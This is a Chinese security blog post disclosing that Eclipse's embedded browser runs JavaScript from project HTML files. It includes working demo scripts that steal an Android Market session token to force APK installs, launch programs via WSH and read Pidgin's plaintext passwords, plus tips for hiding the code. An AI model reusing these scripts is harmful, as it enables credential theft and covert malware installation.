`
mmdev
  • 浏览: 12929305 次
  • 性别: Icon_minigender_1
  • 来自: 大连
文章分类
社区版块
存档分类
最新评论

android eclipse 开发漏洞

 
阅读更多

在去年的文档《WEB2.0下的渗透测试》里提到了一点就是在2.0时代,攻击者的攻击方式是针对攻击的目标身份而变化的。对于开发人员来说,开发环境的安全问题一直是被忽视的,虽然这类问题提了很多年了。本文就是以andriod开发环境里编辑器的一个小问题展开的...

二、android的开发环境简介

1、安装JDK :http://www.oracle.com/technetwork/java/javase/downloads/index.html
2、安装Eclipse :http://www.eclipse.org/downloads/
3、安装ADT插件:打开Eclipse,依次Help--->install new software-->ADD-->Location:https://dl-ssl.google.com/Android/eclipse/-->OK
4、安装Android SDK

三、Eclipse的浏览器的漏洞

以上环境配置好了后,对于开发人员来说最常用的肯定就是IDE了也就是著名的编辑器Eclipse,在我使用Eclipse的过程中发现了一个小问题,那就是Eclipse的浏览器在windows下直接调用IE内核来实现的,而在非windows下使用的是WEBKit核心的浏览器。对于这样的简陋的浏览器有一个通病,那就是安全防御薄弱。具体在Eclipse里,有个致命的问题那就是,当开发者点击html文件时,默认情况下,它调用的不是编辑界面,而是浏览器里运行!而且是没有任何安全提示下通过file://伪协议下执行html文件里的javascript代码,大家都知道,可以在file://里执行js就意味着一个“跨域”漏洞可能....

四、apk代码结构与html文件

下面是我在网络上下载的一个apk代码包,它的目录结构如下:

C:\android\Test>tree /f
文件夹 PATH 列表
C:.
│ .classpath
│ .project
│ AndroidManifest.xml
│ proguard.cfg
│ project.properties
│ readme.htm

├─assets
│ index.htm

├─bin
│ ├─classes
│ │ └─com
│ │ └─szy
│ │ └─test
│ │ MainActivity.class
│ │
│ ├─com
│ │ └─szy
│ │ └─test
│ │ MainActivity.class
│ │
│ └─res
├─gen
├─res
│ ├─drawable-hdpi
│ │ icon.png
│ │
│ ├─drawable-ldpi
│ │ icon.png
│ │
│ ├─drawable-mdpi
│ │ icon.png
│ │
│ ├─layout
│ │ main.xml
│ │
│ └─values
│ strings.xml

└─src
└─com
└─szy
└─test
MainActivity.java在这个代码里我看到了两处html文件:

1、./readme.htm 这个常用的代码作者提过的readme文件。
2、./assets/index.htm res目录和assets目录是存放资源文件的两个目录,不同的是/assets目录下的资源文件不会在R.java自动生成ID。

所以这个2个地方将是我们放置和html文件引入邪恶的javascript绝佳场所!!

五、通向手机之路

我们在要实现从PC上到手机上安装执行我们的恶意apk,常用的有2个途径:

1、在手机通过USB连接到PC的情况下,使用adb shell来控制。
2、在pc浏览器登录到market[https://market.android.com/]上下载安装apk。

下面我们看看怎么通过Eclipse的浏览器执行JS来实现上面的两个途径:对于Eclipse的浏览器在windows和非windows平台上的设计是不相同的,那就决定了我们的攻击方式的不同。

A、windows平台下的途径

windows平台下Eclipse的浏览器是基于IE内核(Trident)的,对于IE来说file://下执行的js就意味着拥有“我的电脑”域的权限,虽然微软在IE的安全上做了不少工作,但是在本地文件的安全还远远不够,最起码file://下的xmlhttp完全不设防...,另外微软更多的安全措施是基于ie的,而不是ie内核(Trident)上的,所以对于第三方的ie内核浏览器的安全防御那就更加薄弱了。

a、通过market的方式
在windows下Eclipse的浏览器是基于IE内核来实现的,对于IE内核的浏览器来说,有个特点那就是Cookie通用,也就是说IE登录market后,Eclipse的浏览器也在登录market的状态。所以我们就可以通过我们插入的js来实现跨market.android.com域,在market上任意执行js,来实现恶意apk的下载安装。当然这个的前提是你可以把你的恶意代码放到market上,如果是用你自己的号,那么你最起码需要支付25刀的开户费给Google,不过或许你可以直接使用被攻击者的帐号?! 另外你的apk需要通过google的审查! 所谓“道理是曲折的,前途是光明的”? :)

这个过程如下:

攻击者-->上传包含了恶意Html文件的代码包 -----+-----+-----+-----+-----上传恶意APK到 market.android.com
|| ||
被攻击者-->下载包含了恶意Html文件的代码包-->Eclipse的浏览器打开恶意html[JS]-->通过跨域到market.android.com-->JS实现自动下载安装恶意APK-->Mobile[andoid]

其实这个过程类似于market.android.com上xss攻击的效果,详见大牛jonoberheide的blog -《How I Almost Won Pwn2Own via XSS》[1]

演示代码如下:

<script>
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP',
'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0',
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}

xmlhttp=request;

var apkid="com.tencent.qqpimsecure";

xmlhttp.open("GET", "https://market.android.com/", false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;

var regx = /userEmail: '(.*)', userG/
var rs= regx.exec(ret);
var gmail = rs[1];

var regx = /selectedDeviceId: '(.*)', absoluteBaseUrl/
var rs= regx.exec(ret);
var deviceId = rs[1];

var regx = /token: '(.*)', locale/
var rs= regx.exec(ret);
var token = rs[1];

alert("gmail:"+gmail+"\n"+"DeviceId:"+deviceId+"\n"+"token:"+token);

xmlhttp.open("POST", "https://market.android.com/install", false);
xmlhttp.setRequestHeader("Referer", "https://market.android.com/");
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(unescape("id="+apkid+"&offerType=1&device="+deviceId+"&xhr=1&token="+token));

</script>b、通过WSH执行adb shell的方式

在ie内核的浏览器里file://本地文件是在“我的电脑”域执行的[在没有MOTW标志的情况下],在“我的电脑”域是可以执行WSH的只不过,在多年的缝缝补补下IE执行WSH是有安全提示的,不过对于一些没有安全意识开发人员来说,或许很容易点击"YES"?!! 演示代码如下:

<script>new ActiveXObject("WScript.shell").Run('calc.exe',1,true);</script>B、非windows平台下的途径

对于market途径来说,Eclipse的浏览器是通过webkit来实现的,它没有IE那样的特性,所以如果要通过market来实现的话,前提条件是Eclipse的浏览器的浏览器已经登录了market,要不然是没有办法的。然后webkit也没有类似与WSH等直接的方法,那么我们还有什么思路呢?和IE内核的第三方浏览器一样,第三方的防御都很薄弱,比如这里的Eclipse的浏览器,对于xmlhttp读取本地文件也是被允许的。所以如果有本地google的帐号密码保存的文件,我们读取后直接登录market了...,一切都有可能!Pidgin保存的用户帐号密码都是用明文方式保存在~/.purple/accounts.xml文件里,只要被攻击者是使用Pidgin登录Gtalk的话,我们就有机会!!!

对于~目录,是当前用户目录,所以使用绝对路径时需要知道系统用户名,这个不太好得到,那么对于Eclipse的workspace目录也是在~目录下,那么我们就可以用相对路径的方式来读取accounts.xml,而不需要知道系统用户名,演示代码如下:

<script>
function XMLHttp() { xmlhttpOK = false; var xmlhttp=null; if (window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest(); } else{
if (window.ActiveXObject){ try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e) {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
}
return xmlhttp;
}

var xhr=new XMLHttp();
function postURLRet(url, data){
if(xhr) {
xhr.open("POST",url,false);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send(data);
return xhr.responseText;
}
return "";
}
var ret = postURLRet("../../../.purple/accounts.xml", null);
alert(ret);
</script>六、消失的代码

对于有点安全意识的开发人员来说,有可能查看代码,对于windows平台来说,ie内核的浏览器是支持“右键-->查看源文件“的经典方式的,在非windows平台下的webkit方式不支持这种方式。对于这样的方式查看代码的方式我们可以所用“Original Source Forgery”(详见[2])的方法来让我们的代码“消失”。

不过值得注意的是,原来代码里的直接使用的是:

ajax('GET',location,
function(req){
....
}ajax函数里直接使用location但是目前ie已经禁止使用xmlhttp请求本地文件了,所以我们可以把你的恶意html文件copy一份在远程的web主机上,然后使用http,或者你自己手工写在代码里。但是对于Eclipse来说打开html只是默认打开方式是浏览器,也就是说好友其他的方式(选择html文件右键-->Open With)其中有个“Text Editor”方式打开的话,你的代码还是一览无遗。不过对于老版本的Eclipse来说,编辑器存在着一个漏洞可以隐藏你的代码:《Nullbytes hide code on Eclipse 3.5》 by Mario Heiderich [3]

七、恶意apk的实现

这里不是说怎么去实现一个恶意的apk,只是简单的说2个问题:
在上面通过market的方式在目标的手机上安装了你的apk,但是不会立刻马上启动你的apk,所以第一个问题就是怎么启动你的apk:

A、通过BroadcastReceiver的组建实现,这个的结果是必须等待手机的重启。
B、通过设置android:scheme的方法,通过被动的触发这个scheme来实现启动[比如通过短信或者邮件的方式发送url,url页面里代码使用<iframe src=scheme://xx>来启动]。

第二个问题的是“恶意apk的职能”,也就是说你的控制目标手机的目的,就目前市面上的Android Malware来看基本都是以盗取信息为目的,对于大炒APT(Advanced Persistent Threat)的时代,对于移动设备控制的目的应该有新的诠释,移动设备在APT过程里应该只是流程的一个小部分,也就是把你的带入目标网络里的一个途径。所以就这个目的来看,以后的恶意apk开发可能围绕局域网里的网络自动扫描攻击而展开...

八、小结

上面提到主要有下面几个问题:

1、 Eclipse的问题:
i、默认方式所用了浏览器方式打开html文件。
ii、浏览器对javascript没有安全提示就直接运行。

2、 Android market对于下载安装等敏感操没有考虑防御xss下的csrf情况[如所用验证码的方式]。

很多人把一些安全问题归结到"用户缺少安全意识"的结论上,其实不然,对于现在的安全理念我们的"官方"应该考虑到某些用户存在着"缺少安全意识"情况,所以在我们的功能或者UI设计上要考虑到这中情况,尽量减少"安全隐患",比如上面提到的Eclipse在处理html文件的方式上,可以改为默认为编辑状态。另外对于Androidmarket应该考虑到得到token的情况下的csrf的情况,可以考虑危险的操作可以设置验证码等等,一切都以"不要你的用户为安全漏洞买单"为目标,这才是王道!

九、参考

分享到:
评论

相关推荐

    JAVA上百实例源码以及开源项目

    此时此景,笔者只专注Android、Iphone等移动平台开发,看着这些源码心中有万分感慨,写此文章纪念那时那景! Java 源码包 Applet钢琴模拟程序java源码 2个目标文件,提供基本的音乐编辑功能。编辑音乐软件的朋友,这...

    JAVA上百实例源码以及开源项目源代码

    此时此景,笔者只专注Android、Iphone等移动平台开发,看着这些源码心中有万分感慨,写此文章纪念那时那景! Java 源码包 Applet钢琴模拟程序java源码 2个目标文件,提供基本的音乐编辑功能。编辑音乐软件的朋友,这...

    java开源包1

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    java开源包11

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    java开源包2

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    java开源包3

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    java开源包6

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    java开源包5

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    java开源包10

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    java开源包4

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    java开源包8

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    java开源包7

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    java开源包9

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    java开源包101

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

    Java资源包01

    AutoTips是为解决应用系统对于【自动提示】的需要(如:Google搜索), 而开发的架构无关的公共控件, 以满足该类需求可以通过快速配置来开发。AutoTips基于搜索引擎Apache Lucene实现。AutoTips提供统一UI。 WAP浏览器...

Global site tag (gtag.js) - Google Analytics